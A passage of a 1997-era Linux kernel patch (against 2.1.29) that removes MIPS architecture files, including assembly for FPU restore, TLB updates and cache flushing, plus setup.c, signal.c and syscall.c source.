slot - - /* - * Restore fpu state: - * - cp0 status register bits - * - fp gp registers - * - cp1 status/control register - */ - ori t1,a2,1 # pipeline magic - xori t1,1 - mtc0 t1,CP0_STATUS - sll t0,a2,2 - bgez t0,2f - sll t0,a2,5 # delay slot - bgez t0,1f - ldc1 $f0,(TOFF_FPU+0)(a0) # delay slot - /* - * Restore the 16 odd double precision registers only - * when enabled in the cp0 status register. - */ - ldc1 $f1,(TOFF_FPU+8)(a0) - ldc1 $f3,(TOFF_FPU+24)(a0) - ldc1 $f5,(TOFF_FPU+40)(a0) - ldc1 $f7,(TOFF_FPU+56)(a0) - ldc1 $f9,(TOFF_FPU+72)(a0) - ldc1 $f11,(TOFF_FPU+88)(a0) - ldc1 $f13,(TOFF_FPU+104)(a0) - ldc1 $f15,(TOFF_FPU+120)(a0) - ldc1 $f17,(TOFF_FPU+136)(a0) - ldc1 $f19,(TOFF_FPU+152)(a0) - ldc1 $f21,(TOFF_FPU+168)(a0) - ldc1 $f23,(TOFF_FPU+184)(a0) - ldc1 $f25,(TOFF_FPU+200)(a0) - ldc1 $f27,(TOFF_FPU+216)(a0) - ldc1 $f29,(TOFF_FPU+232)(a0) - ldc1 $f31,(TOFF_FPU+248)(a0) - - /* - * Restore the 16 even double precision registers - * when cp1 was enabled in the cp0 status register. - */ -1: lw t0,(TOFF_FPU+256)(a0) - ldc1 $f2,(TOFF_FPU+16)(a0) - ldc1 $f4,(TOFF_FPU+32)(a0) - ldc1 $f6,(TOFF_FPU+48)(a0) - ldc1 $f8,(TOFF_FPU+64)(a0) - ldc1 $f10,(TOFF_FPU+80)(a0) - ldc1 $f12,(TOFF_FPU+96)(a0) - ldc1 $f14,(TOFF_FPU+112)(a0) - ldc1 $f16,(TOFF_FPU+128)(a0) - ldc1 $f18,(TOFF_FPU+144)(a0) - ldc1 $f20,(TOFF_FPU+160)(a0) - ldc1 $f22,(TOFF_FPU+176)(a0) - ldc1 $f24,(TOFF_FPU+192)(a0) - ldc1 $f26,(TOFF_FPU+208)(a0) - ldc1 $f28,(TOFF_FPU+224)(a0) - ldc1 $f30,(TOFF_FPU+240)(a0) - ctc1 t0,fcr31 - - /* - * Restore non-scratch registers - */ -2: lw s0,TOFF_REG16(a0) - lw s1,TOFF_REG17(a0) - lw s2,TOFF_REG18(a0) - lw s3,TOFF_REG19(a0) - lw s4,TOFF_REG20(a0) - lw s5,TOFF_REG21(a0) - lw s6,TOFF_REG22(a0) - lw s7,TOFF_REG23(a0) - lw gp,TOFF_REG28(a0) - lw sp,TOFF_REG29(a0) - lw fp,TOFF_REG30(a0) - lw ra,TOFF_REG31(a0) - - /* - * Restore status register - */ - lw t0,TOFF_KSP(a0) - sw t0,kernelsp - - jr ra - mtc0 a2,CP0_STATUS # delay slot - END(resume) - - /* - * Load a new root pointer into the tlb - */ - .set noreorder - LEAF(load_pgd) - /* - * Switch the root pointer - */ - mfc0 t0,CP0_STATUS - ori t1,t0,1 - xori t1,1 - mtc0 t1,CP0_STATUS - srl a0,6 - ori a0,MODE_ALIAS - li t1,TLB_ROOT - mtc0 t1,CP0_ENTRYHI - mtc0 zero,CP0_INDEX - mtc0 a0,CP0_ENTRYLO0 - mtc0 zero,CP0_ENTRYLO1 - mtc0 t0,CP0_STATUS - j tlbflush - tlbwi # delay slot - END(load_pgd) - -/* - * Some bits in the config register - */ -#define CONFIG_DB (1<<4) -#define CONFIG_IB (1<<5) - -/* - * Flush instruction/data caches - * - * Parameters: a0 - starting address to flush - * a1 - size of area to be flushed - * a2 - which caches to be flushed - * - * FIXME: - ignores parameters in a0/a1 - * - doesn't know about second level caches - */ - .set noreorder - LEAF(sys_cacheflush) - andi t1,a2,DCACHE - beqz t1,do_icache - li t0,KSEG0 # delay slot - - /* - * Writeback data cache, even lines - */ - li t1,CACHELINES-1 -1: cache Index_Writeback_Inv_D,0(t0) - cache Index_Writeback_Inv_D,32(t0) - cache Index_Writeback_Inv_D,64(t0) - cache Index_Writeback_Inv_D,96(t0) - cache Index_Writeback_Inv_D,128(t0) - cache Index_Writeback_Inv_D,160(t0) - cache Index_Writeback_Inv_D,192(t0) - cache Index_Writeback_Inv_D,224(t0) - cache Index_Writeback_Inv_D,256(t0) - cache Index_Writeback_Inv_D,288(t0) - cache Index_Writeback_Inv_D,320(t0) - cache Index_Writeback_Inv_D,352(t0) - cache Index_Writeback_Inv_D,384(t0) - cache Index_Writeback_Inv_D,416(t0) - cache Index_Writeback_Inv_D,448(t0) - cache Index_Writeback_Inv_D,480(t0) - addiu t0,512 - bnez t1,1b - subu t1,1 - - /* - * Writeback data cache, odd lines - * Only needed for 16 byte line size - */ - mfc0 t1,CP0_CONFIG - andi t1,CONFIG_DB - bnez t1,do_icache - li t1,CACHELINES-1 -1: cache Index_Writeback_Inv_D,16(t0) - cache Index_Writeback_Inv_D,48(t0) - cache Index_Writeback_Inv_D,80(t0) - cache Index_Writeback_Inv_D,112(t0) - cache Index_Writeback_Inv_D,144(t0) - cache Index_Writeback_Inv_D,176(t0) - cache Index_Writeback_Inv_D,208(t0) - cache Index_Writeback_Inv_D,240(t0) - cache Index_Writeback_Inv_D,272(t0) - cache Index_Writeback_Inv_D,304(t0) - cache Index_Writeback_Inv_D,336(t0) - cache Index_Writeback_Inv_D,368(t0) - cache Index_Writeback_Inv_D,400(t0) - cache Index_Writeback_Inv_D,432(t0) - cache Index_Writeback_Inv_D,464(t0) - cache Index_Writeback_Inv_D,496(t0) - addiu t0,512 - bnez t1,1b - subu t1,1 - -do_icache: andi t1,a2,ICACHE - beqz t1,done - - /* - * Flush instruction cache, even lines - */ - lui t0,0x8000 - li t1,CACHELINES-1 -1: cache Index_Invalidate_I,0(t0) - cache Index_Invalidate_I,32(t0) - cache Index_Invalidate_I,64(t0) - cache Index_Invalidate_I,96(t0) - cache Index_Invalidate_I,128(t0) - cache Index_Invalidate_I,160(t0) - cache Index_Invalidate_I,192(t0) - cache Index_Invalidate_I,224(t0) - cache Index_Invalidate_I,256(t0) - cache Index_Invalidate_I,288(t0) - cache Index_Invalidate_I,320(t0) - cache Index_Invalidate_I,352(t0) - cache Index_Invalidate_I,384(t0) - cache Index_Invalidate_I,416(t0) - cache Index_Invalidate_I,448(t0) - cache Index_Invalidate_I,480(t0) - addiu t0,512 - bnez t1,1b - subu t1,1 - - /* - * Flush instruction cache, even lines - * Only needed for 16 byte line size - */ - mfc0 t1,CP0_CONFIG - andi t1,CONFIG_IB - bnez t1,done - li t1,CACHELINES-1 -1: cache Index_Invalidate_I,16(t0) - cache Index_Invalidate_I,48(t0) - cache Index_Invalidate_I,80(t0) - cache Index_Invalidate_I,112(t0) - cache Index_Invalidate_I,144(t0) - cache Index_Invalidate_I,176(t0) - cache Index_Invalidate_I,208(t0) - cache Index_Invalidate_I,240(t0) - cache Index_Invalidate_I,272(t0) - cache Index_Invalidate_I,304(t0) - cache Index_Invalidate_I,336(t0) - cache Index_Invalidate_I,368(t0) - cache Index_Invalidate_I,400(t0) - cache Index_Invalidate_I,432(t0) - cache Index_Invalidate_I,464(t0) - cache Index_Invalidate_I,496(t0) - addiu t0,512 - bnez t1,1b - subu t1,1 - -done: j ra - nop - END(sys_cacheflush) - -/* - * Update the TLB - or how instruction scheduling makes code unreadable ... - * - * MIPS doesn't need any external MMU info: the kernel page tables contain - * all the necessary information. We use this hook though to load the - * TLB as early as possible with uptodate information avoiding unnecessary - * exceptions. - * - * Parameters: a0 - struct vm_area_struct *vma (ignored) - * a1 - unsigned long address - * a2 - pte_t pte - */ - .set noreorder - LEAF(update_mmu_cache) - /* - * Step 1: Wipe out old TLB information. Not sure if - * we really need that step; call it paranoia ... - * In order to do that we need to disable interrupts. - */ - mfc0 t0,CP0_STATUS # interrupts off - ori t1,t0,1 - xori t1,1 - mtc0 t1,CP0_STATUS - li t3,TLBMAP # then wait 3 cycles - ori t1,a1,0xfff # mask off low 12 bits - xori t1,0xfff - mfc0 t2,CP0_ENTRYHI # copy ASID into address - andi t2,0xff - or t2,t1 - mtc0 t2,CP0_ENTRYHI - srl t4,a1,12 # wait again three cycles - sll t4,t4,PTRLOG - dmtc0 zero,CP0_ENTRYLO0 - tlbp # now query the TLB - addu t3,t4 # wait another three cycles - ori t3,0xffff - xori t3,0xffff - mfc0 t1,CP0_INDEX - bltz t1,1f # No old entry? - dmtc0 zero,CP0_ENTRYLO1 - or t3,t1 # wait one cycle - tlbwi - /* - * But there still might be a entry for the pgd ... - */ -1: mtc0 t3,CP0_ENTRYHI - nop # wait 3 cycles - nop - nop - tlbp # TLB lookup - nop - nop - mfc0 t1,CP0_INDEX # wait 3 cycles - bltz t1,1f # No old entry? - nop - tlbwi # gotcha ... - /* - * Step 2: Reload the TLB with new information. We can skip - * this but this should speed the mess a bit by avoiding - * tlbl/tlbs exceptions. (To be done) - */ -1: jr ra - mtc0 t0,CP0_STATUS # delay slot - END(update_mmu_cache) diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/setup.c linux/arch/mips/kernel/setup.c --- linux-2.1.29/arch/mips/kernel/setup.c Thu Dec 21 05:05:17 1995 +++ linux/arch/mips/kernel/setup.c Wed Dec 31 19:00:00 1969 @@ -1,350 +0,0 @@ -/* - * linux/arch/mips/kernel/setup.c - * - * Copyright (C) 1995 Linus Torvalds - * Copyright (C) 1995 Ralf Baechle - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -/* - * How to handle the machine's features - */ -struct feature *feature; - -#ifdef CONFIG_ACER_PICA_61 -void acer_pica_61_handle_int(void); -/* - * How to access the floppy controller's ports - */ -unsigned char jazz_fd_inb(unsigned int port); -void jazz_fd_outb(unsigned char value, unsigned int port); -/* - * How to access the floppy DMA functions. - */ -void jazz_fd_enable_dma(void); -void jazz_fd_disable_dma(void); -int jazz_fd_request_dma(void); -void jazz_fd_free_dma(void); -void jazz_fd_clear_dma_ff(void); -void jazz_fd_set_dma_mode(char mode); -void jazz_fd_set_dma_addr(unsigned int a); -void jazz_fd_set_dma_count(unsigned int count); -int jazz_fd_get_dma_residue(void); -void jazz_fd_enable_irq(void); -void jazz_fd_disable_irq(void); -void jazz_fd_cacheflush(unsigned char *addr, unsigned int size); -/* - * How to access the RTC functions. - */ -unsigned char jazz_rtc_read_data(void); -void jazz_rtc_write_data(unsigned char data); - -struct feature acer_pica_61_feature = { - acer_pica_61_handle_int, - /* - * How to access the floppy controller's ports - */ - jazz_fd_inb, - jazz_fd_outb, - /* - * How to access the floppy DMA functions. - */ - jazz_fd_enable_dma, - jazz_fd_disable_dma, - jazz_fd_request_dma, - jazz_fd_free_dma, - jazz_fd_clear_dma_ff, - jazz_fd_set_dma_mode, - jazz_fd_set_dma_addr, - jazz_fd_set_dma_count, - jazz_fd_get_dma_residue, - jazz_fd_enable_irq, - jazz_fd_disable_irq, - jazz_fd_cacheflush, - /* - * How to access the RTC functions. - */ - jazz_rtc_read_data, - jazz_rtc_write_data -}; -#endif -#ifdef CONFIG_DECSTATION -void decstation_handle_handle_int(void); -void isa_outb(unsigned char value, unsigned int port); -unsigned char isa_inb(unsigned int port); -struct feature decstation_feature = { - decstation_handle_handle_int, - isa_inb /* Dummy - dunno how to handle this yet */ - isa_outb, /* Dummy - dunno how to handle this yet */ -}; -#endif -#ifdef CONFIG_DESKSTATION_RPC44 -void deskstation_rpc44_handle_int(void); -void isa_outb(unsigned char value, unsigned int port); -unsigned char isa_inb(unsigned int port); -struct feature deskstation_rpc44_feature = { - deskstation_rpc44_handle_int, - isa_inb - isa_outb, -}; -#endif -#ifdef CONFIG_DESKSTATION_TYNE -void deskstation_tyne_handle_int(void); -void isa_outb(unsigned char value, unsigned int port); -unsigned char isa_inb(unsigned int port); -struct feature deskstation_tyne_feature = { - deskstation_tyne_handle_int, - isa_inb, - isa_outb, -}; -#endif -#ifdef CONFIG_MIPS_MAGNUM_4000 -void mips_magnum_4000_handle_int(void); -/* - * How to access the floppy controller's ports - */ -unsigned char jazz_fd_inb(unsigned int port); -void jazz_fd_outb(unsigned char value, unsigned int port); -/* - * How to access the floppy DMA functions. - */ -void jazz_fd_enable_dma(void); -void jazz_fd_disable_dma(void); -int jazz_fd_request_dma(void); -void jazz_fd_free_dma(void); -void jazz_fd_clear_dma_ff(void); -void jazz_fd_set_dma_mode(char mode); -void jazz_fd_set_dma_addr(unsigned int a); -void jazz_fd_set_dma_count(unsigned int count); -int jazz_fd_get_dma_residue(void); -void jazz_fd_enable_irq(void); -void jazz_fd_disable_irq(void); -void jazz_fd_cacheflush(unsigned char *addr, unsigned int size); -/* - * How to access the RTC functions. - */ -unsigned char jazz_rtc_read_data(void); -void jazz_rtc_write_data(unsigned char data); - -struct feature mips_magnum_4000_feature = { - mips_magnum_4000_handle_int, - /* - * How to access the floppy controller's ports - */ - jazz_fd_inb, - jazz_fd_outb, - /* - * How to access the floppy DMA functions. - */ - jazz_fd_enable_dma, - jazz_fd_disable_dma, - jazz_fd_request_dma, - jazz_fd_free_dma, - jazz_fd_clear_dma_ff, - jazz_fd_set_dma_mode, - jazz_fd_set_dma_addr, - jazz_fd_set_dma_count, - jazz_fd_get_dma_residue, - jazz_fd_enable_irq, - jazz_fd_disable_irq, - jazz_fd_cacheflush, - /* - * How to access the RTC functions. - */ - jazz_rtc_read_data, - jazz_rtc_write_data -}; -#endif - -/* - * Tell us the machine setup.. - */ -char wait_available; /* set if the "wait" instruction available */ - -/* - * Bus types .. - */ -int EISA_bus = 0; - -/* - * Setup options - */ -struct drive_info_struct drive_info; -struct screen_info screen_info = SCREEN_INFO; - -unsigned char aux_device_present; -extern int ramdisk_size; -extern int root_mountflags; -extern int _end; - -extern char empty_zero_page[PAGE_SIZE]; - -/* - * Initialise this structure so that it will be placed in the - * .data section of the object file - */ -struct bootinfo boot_info = BOOT_INFO; - -/* - * This is set up by the setup-routine at boot-time - */ -#define PARAM empty_zero_page -#if 0 -#define ORIG_ROOT_DEV (*(unsigned short *) (PARAM+0x1FC)) -#define AUX_DEVICE_INFO (*(unsigned char *) (PARAM+0x1FF)) -#endif - -static char command_line[CL_SIZE] = { 0, }; - char saved_command_line[CL_SIZE]; - -#if 0 -/* - * Code for easy access to new style bootinfo - * - * Parameter: tag -- taglist entry - * - * returns : (tag *) -- pointer to taglist entry, NULL for not found - */ -tag * -bi_TagFind(enum bi_tag tag) -{ - /* TBD */ - return 0; -} - -/* - * Only for taglist creators (bootloaders) - * - * Parameter: tag -- (enum bi_tag) taglist entry - * - * returns : 1 -- success - * 0 -- failure - */ -int -bi_TagAdd(enum bi_tag tag, unsigned long size, void *tagdata) -{ - /* TBD */ - return 0; -} -#endif /* 0 */ - -void setup_arch(char **cmdline_p, - unsigned long * memory_start_p, unsigned long * memory_end_p) -{ - unsigned long memory_start, memory_end; - - switch(boot_info.machtype) - { -#ifdef CONFIG_ACER_PICA_61 - case MACH_ACER_PICA_61: - feature = &acer_pica_61_feature; - break; -#endif -#ifdef CONFIG_DECSTATION - case MACH_DECSTATION: - feature = &decstation_feature; - break; -#endif -#ifdef CONFIG_DESKSTATION_RPC - case MACH_DESKSTATION_RPC: - feature = &deskstation_rpc44_feature; - break; -#endif -#ifdef CONFIG_DESKSTATION_TYNE - case MACH_DESKSTATION_TYNE: - feature = &deskstation_tyne_feature; - break; -#endif -#ifdef CONFIG_MIPS_MAGNUM_4000 - case MACH_MIPS_MAGNUM_4000: - feature = &mips_magnum_4000_feature; - break; -#endif - default: - panic("Unsupported architecture"); - } - -#if 0 - ROOT_DEV = to_kdev_t(ORIG_ROOT_DEV); -#else -#ifdef CONFIG_BLK_DEV_FD - ROOT_DEV = to_kdev_t(0x021c); /* fd0H1440 */ -#else - ROOT_DEV = to_kdev_t(0x0101); /* ram */ -#endif -/* ROOT_DEV = to_kdev_t(0x00ff); */ /* NFS */ -#endif - memcpy(&drive_info, &boot_info.drive_info, sizeof(drive_info)); -#if 0 - aux_device_present = AUX_DEVICE_INFO; -#endif - memory_end = boot_info.memupper; - memory_end &= PAGE_MASK; - ramdisk_size = boot_info.ramdisk_size; - if (boot_info.mount_root_rdonly) - root_mountflags |= MS_RDONLY; - - memory_start = (unsigned long) &_end; - memory_start += (ramdisk_size << 10); - - memcpy(saved_command_line, command_line, CL_SIZE); - saved_command_line[CL_SIZE-1] = '\0'; - - *cmdline_p = command_line; - *memory_start_p = memory_start; - *memory_end_p = memory_end; - -#if 0 - /* - * Check that struct pt_regs is defined properly - * (Should be optimized away, but gcc 2.6.3 is too bad..) - */ - if (FR_SIZE != sizeof(struct pt_regs) || - FR_SIZE & 7) - { - panic("Check_definition_of_struct_pt_regs\n"); - } -#endif -} - -#ifdef CONFIG_PROC_FS -/* - * BUFFER is PAGE_SIZE bytes long. - */ -int get_cpuinfo(char *buffer) -{ - const char *cpu_name[] = CPU_NAMES; - const char *mach_name[] = MACH_NAMES; - - return sprintf(buffer, - "cpu\t\t\t: MIPS\n" - "cpu model\t\t: %s\n" - "system type\t\t: %s\n" - "BogoMIPS\t\t: %lu.%02lu\n", - - cpu_name[boot_info.cputype < CPU_LAST ? boot_info.cputype : CPU_UNKNOWN], - mach_name[boot_info.machtype < CPU_LAST ? boot_info.machtype : CPU_UNKNOWN], - loops_per_sec / 500000, (loops_per_sec / 5000) % 100); -} -#endif /* CONFIG_PROC_FS */ diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/signal.c linux/arch/mips/kernel/signal.c --- linux-2.1.29/arch/mips/kernel/signal.c Sat May 10 18:17:09 1997 +++ linux/arch/mips/kernel/signal.c Wed Dec 31 19:00:00 1969 @@ -1,378 +0,0 @@ -/* - * linux/arch/mips/kernel/signal.c - * - * Copyright (C) 1991, 1992 Linus Torvalds - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -#define _S(nr) (1<<((nr)-1)) - -#define _BLOCKABLE (~(_S(SIGKILL) | _S(SIGSTOP))) - -asmlinkage int sys_waitpid(pid_t pid,unsigned long * stat_addr, int options); -asmlinkage int do_signal(unsigned long oldmask, struct pt_regs *regs); - -/* - * atomically swap in the new signal mask, and wait for a signal. - */ -asmlinkage int sys_sigsuspend(int restart, unsigned long oldmask, unsigned long set) -{ - unsigned long mask; - struct pt_regs * regs; - int ret = -EINTR; - - lock_kernel(); - regs = (struct pt_regs *) &restart; - mask = current->blocked; - current->blocked = set & _BLOCKABLE; - regs->reg2 = -EINTR; - while (1) { - current->state = TASK_INTERRUPTIBLE; - schedule(); - if (do_signal(mask,regs)) - goto out; - } -out: - unlock_kernel(); - return ret; -} - -/* - * This sets regs->reg29 even though we don't actually use sigstacks yet.. - */ -asmlinkage int sys_sigreturn(struct pt_regs *regs) -{ - struct sigcontext_struct *context; - int ret; - - lock_kernel(); - /* - * We don't support fixing ADEL/ADES exceptions for signal stack frames. - * No big loss - who doesn't care about the alignment of this stack - * really deserves to loose. - */ - context = (struct sigcontext_struct *) regs->reg29; - if (verify_area(VERIFY_READ, context, sizeof(struct sigcontext_struct)) || - (regs->reg29 & 3)) - goto badframe; - - current->blocked = context->sc_oldmask & _BLOCKABLE; - regs->reg1 = context->sc_at; - regs->reg2 = context->sc_v0; - regs->reg3 = context->sc_v1; - regs->reg4 = context->sc_a0; - regs->reg5 = context->sc_a1; - regs->reg6 = context->sc_a2; - regs->reg7 = context->sc_a3; - regs->reg8 = context->sc_t0; - regs->reg9 = context->sc_t1; - regs->reg10 = context->sc_t2; - regs->reg11 = context->sc_t3; - regs->reg12 = context->sc_t4; - regs->reg13 = context->sc_t5; - regs->reg14 = context->sc_t6; - regs->reg15 = context->sc_t7; - regs->reg16 = context->sc_s0; - regs->reg17 = context->sc_s1; - regs->reg18 = context->sc_s2; - regs->reg19 = context->sc_s3; - regs->reg20 = context->sc_s4; - regs->reg21 = context->sc_s5; - regs->reg22 = context->sc_s6; - regs->reg23 = context->sc_s7; - regs->reg24 = context->sc_t8; - regs->reg25 = context->sc_t9; - /* - * Skip k0/k1 - */ - regs->reg28 = context->sc_gp; - regs->reg29 = context->sc_sp; - regs->reg30 = context->sc_fp; - regs->reg31 = context->sc_ra; - regs->cp0_epc = context->sc_epc; - regs->cp0_cause = context->sc_cause; - - /* - * disable syscall checks - */ - regs->orig_reg2 = -1; - goto out; - -badframe: - do_exit(SIGSEGV); -out: - ret = context->sc_v0; - unlock_kernel(); - return ret; -} - -/* - * Set up a signal frame... - * - * This routine is somewhat complicated by the fact that if the kernel may be - * entered by an exception other than a system call; e.g. a bus error or other - * "bad" exception. If this is the case, then *all* the context on the kernel - * stack frame must be saved. - * - * For a large number of exceptions, the stack frame format is the same - * as that which will be created when the process traps back to the kernel - * when finished executing the signal handler. In this case, nothing - * must be done. This information is saved on the user stack and restored - * when the signal handler is returned. - * - * The signal handler will be called with ra pointing to code1 (see below) and - * one parameters in a0 (signum). - * - * usp -> [unused] ; first free word on stack - * arg save space ; 16 bytes argument save space - * code1 (addiu sp,#1-offset) ; syscall number - * code2 (li v0,__NR_sigreturn) ; syscall number - * code3 (syscall) ; do sigreturn(2) - * #1| at, v0, v1, a0, a1, a2, a3 ; All integer registers - * | t0, t1, t2, t3, t4, t5, t6, t7 ; except zero, k0 and k1 - * | s0, s1, s2, s3, s4, s5, s6, s7 - * | t8, t9, gp, sp, fp, ra; - * | epc ; old program counter - * | cause ; CP0 cause register - * | oldmask - */ - -struct sc { - unsigned long ass[4]; - unsigned int code[4]; - struct sigcontext_struct scc; -}; -#define scc_offset ((size_t)&((struct sc *)0)->scc) - -static void setup_frame(struct sigaction * sa, struct sc **fp, - unsigned long pc, struct pt_regs *regs, - int signr, unsigned long oldmask) -{ - struct sc *frame; - - frame = *fp; - frame--; - - /* - * We don't support fixing ADEL/ADES exceptions for signal stack frames. - * No big loss - who doesn't care about the alignment of this stack - * really deserves to loose. - */ - if (verify_area(VERIFY_WRITE, frame, sizeof (struct sc)) || - ((unsigned long)frame & 3)) - do_exit(SIGSEGV); - - /* - * Set up the return code ... - * - * .set noreorder - * addiu sp,24 - * li v0,__NR_sigreturn - * syscall - * .set reorder - */ - frame->code[0] = 0x27bd0000 + scc_offset; - frame->code[1] = 0x24020000 + __NR_sigreturn; - frame->code[2] = 0x0000000c; - - /* - * Flush caches so that the instructions will be correctly executed. - */ - sys_cacheflush (frame->code, sizeof (frame->code), ICACHE); - - /* - * Set up the "normal" sigcontext_struct - */ - frame->scc.sc_at = regs->reg1; /* Assembler temporary */ - frame->scc.sc_v0 = regs->reg2; /* Result registers */ - frame->scc.sc_v1 = regs->reg3; - frame->scc.sc_a0 = regs->reg4; /* Argument registers */ - frame->scc.sc_a1 = regs->reg5; - frame->scc.sc_a2 = regs->reg6; - frame->scc.sc_a3 = regs->reg7; - - frame->scc.sc_t0 = regs->reg8; /* Caller saved */ - frame->scc.sc_t1 = regs->reg9; - frame->scc.sc_t2 = regs->reg10; - frame->scc.sc_t3 = regs->reg11; - frame->scc.sc_t4 = regs->reg12; - frame->scc.sc_t5 = regs->reg13; - frame->scc.sc_t6 = regs->reg14; - frame->scc.sc_t7 = regs->reg15; - - frame->scc.sc_s0 = regs->reg16; /* Callee saved */ - frame->scc.sc_s1 = regs->reg17; - frame->scc.sc_s2 = regs->reg18; - frame->scc.sc_s3 = regs->reg19; - frame->scc.sc_s4 = regs->reg20; - frame->scc.sc_s5 = regs->reg21; - frame->scc.sc_s6 = regs->reg22; - frame->scc.sc_s7 = regs->reg23; - - frame->scc.sc_t8 = regs->reg24; /* Caller saved */ - frame->scc.sc_t9 = regs->reg25; - - /* - * Don't copy k0/k1 - */ - frame->scc.sc_gp = regs->reg28; /* global pointer / s8 */ - frame->scc.sc_sp = regs->reg29; /* old stack pointer */ - frame->scc.sc_fp = regs->reg30; /* old frame pointer */ - frame->scc.sc_ra = regs->reg31; /* old return address */ - - frame->scc.sc_epc = regs->cp0_epc; /* Program counter */ - frame->scc.sc_cause = regs->cp0_cause; /* c0_epc register */ - - frame->scc.sc_oldmask = oldmask; - *fp = frame; - - regs->reg4 = signr; /* argument for handler */ -} - -/* - * Note that 'init' is a special process: it doesn't get signals it doesn't - * want to handle. Thus you cannot kill init even with a SIGKILL even by - * mistake. - * - * Note that we go through the signals twice: once to check the signals that - * the kernel can handle, and then we build all the user-level signal handling - * stack-frames in one go after that. - */ -asmlinkage int do_signal(unsigned long oldmask, struct pt_regs * regs) -{ - unsigned long mask; - unsigned long handler_signal = 0; - struct sc *frame = NULL; - unsigned long pc = 0; - unsigned long signr; - struct sigaction * sa; - int ret; - - lock_kernel(); - mask = ~current->blocked; - while ((signr = current->signal & mask)) { - signr = ffz(~signr); - clear_bit(signr, ¤t->signal); - sa = current->sig->action + signr; - signr++; - if ((current->flags & PF_PTRACED) && signr != SIGKILL) { - current->exit_code = signr; - current->state = TASK_STOPPED; - notify_parent(current); - schedule(); - if (!(signr = current->exit_code)) - continue; - current->exit_code = 0; - if (signr == SIGSTOP) - continue; - if (_S(signr) & current->blocked) { - current->signal |= _S(signr); - continue; - } - sa = current->sig->action + signr - 1; - } - if (sa->sa_handler == SIG_IGN) { - if (signr != SIGCHLD) - continue; - /* check for SIGCHLD: it's special */ - while (sys_waitpid(-1,NULL,WNOHANG) > 0) - /* nothing */; - continue; - } - if (sa->sa_handler == SIG_DFL) { - if (current->pid == 1) - continue; - switch (signr) { - case SIGCONT: case SIGCHLD: case SIGWINCH: - continue; - - case SIGSTOP: case SIGTSTP: case SIGTTIN: case SIGTTOU: - if (current->flags & PF_PTRACED) - continue; - current->state = TASK_STOPPED; - current->exit_code = signr; - if (!(current->p_pptr->sig->action[SIGCHLD-1].sa_flags & - SA_NOCLDSTOP)) - notify_parent(current); - schedule(); - continue; - - case SIGQUIT: case SIGILL: case SIGTRAP: - case SIGIOT: case SIGFPE: case SIGSEGV: case SIGBUS: - if (current->binfmt && current->binfmt->core_dump) { - if (current->binfmt->core_dump(signr, regs)) - signr |= 0x80; - } - /* fall through */ - default: - current->signal |= _S(signr & 0x7f); - current->flags |= PF_SIGNALED; - do_exit(signr); - } - } - /* - * OK, we're invoking a handler - */ - if (regs->orig_reg2 >= 0) { - if (regs->reg2 == -ERESTARTNOHAND || - (regs->reg2 == -ERESTARTSYS && - !(sa->sa_flags & SA_RESTART))) - regs->reg2 = -EINTR; - } - handler_signal |= 1 << (signr-1); - mask &= ~sa->sa_mask; - } - /* - * Who's code doesn't conform to the restartable syscall convention - * dies here!!! The li instruction, a single machine instruction, - * must directly be followed by the syscall instruction. - */ - if (regs->orig_reg2 >= 0 && - (regs->reg2 == -ERESTARTNOHAND || - regs->reg2 == -ERESTARTSYS || - regs->reg2 == -ERESTARTNOINTR)) - { - regs->reg2 = regs->orig_reg2; - regs->cp0_epc -= 8; - } - ret = 0; - if (!handler_signal) /* no handler will be called - return 0 */ - goto out; - pc = regs->cp0_epc; - frame = (struct sc *) regs->reg29; - signr = 1; - sa = current->sig->action; - for (mask = 1 ; mask ; sa++,signr++,mask += mask) { - if (mask > handler_signal) - break; - if (!(mask & handler_signal)) - continue; - setup_frame(sa, &frame, pc, regs, signr, oldmask); - pc = (unsigned long) sa->sa_handler; - if (sa->sa_flags & SA_ONESHOT) - sa->sa_handler = NULL; - current->blocked |= sa->sa_mask; - oldmask |= sa->sa_mask; - } - regs->reg29 = (unsigned long) frame; /* Stack pointer */ - regs->reg31 = (unsigned long) frame->code; /* Return address */ - regs->cp0_epc = pc; /* "return" to the first handler */ - - ret = 1; -out: - unlock_kernel(); - return ret; -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/syscall.c linux/arch/mips/kernel/syscall.c --- linux-2.1.29/arch/mips/kernel/syscall.c Sat May 10 18:17:09 1997 +++ linux/arch/mips/kernel/syscall.c Wed Dec 31 19:00:00 1969 @@ -1,254 +0,0 @@ -/* - * MIPS specific syscall handling functions and syscalls - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -extern asmlinkage void syscall_trace(void); -typedef asmlinkage int (*syscall_t)(void *a0,...); -extern asmlinkage int do_syscalls(struct pt_regs *regs, syscall_t fun, - int narg); -extern syscall_t sys_call_table[]; -extern unsigned char sys_narg_table[]; - -asmlinkage int sys_pipe(struct pt_regs *regs) -{ - int fd[2]; - int error; - - lock_kernel(); - error = do_pipe(fd); - if (error) - goto out; - regs->reg2 = fd[0]; - regs->reg3 = fd[1]; -out: - unlock_kernel(); - return error; -} - -asmlinkage unsigned long sys_mmap(unsigned long addr, size_t len, int prot, - int flags, int fd, off_t offset) -{ - struct file * file = NULL; - int ret = -EBADF; - - lock_kernel(); - if (flags & MAP_RENAME) { - if (fd >= NR_OPEN || !(file = current->files->fd[fd])) - goto out; - } - flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE); - - ret = do_mmap(file, addr, len, prot, flags, offset); -out: - unlock_kernel(); - return ret; -} - -asmlinkage int sys_idle(void) -{ - int ret = -EPERM; - - lock_kernel(); - if (current->pid != 0) - goto out; - - /* endless idle loop with no priority at all */ - current->counter = -100; - for (;;) { - /* - * R4[26]00 have wait, R4[04]00 don't. - */ - if (wait_available && !need_resched) - __asm__(".set\tmips3\n\t" - "wait\n\t" - ".set\tmips0\n\t"); - schedule(); - } - ret = 0; -out: - unlock_kernel(); - return ret; -} - -asmlinkage int sys_fork(struct pt_regs *regs) -{ - int ret; - - lock_kernel(); - ret = do_fork(SIGCHLD, regs->reg29, regs); - unlock_kernel(); - return ret; -} - -asmlinkage int sys_clone(struct pt_regs *regs) -{ - unsigned long clone_flags; - unsigned long newsp; - int ret; - - lock_kernel(); - clone_flags = regs->reg4; - newsp = 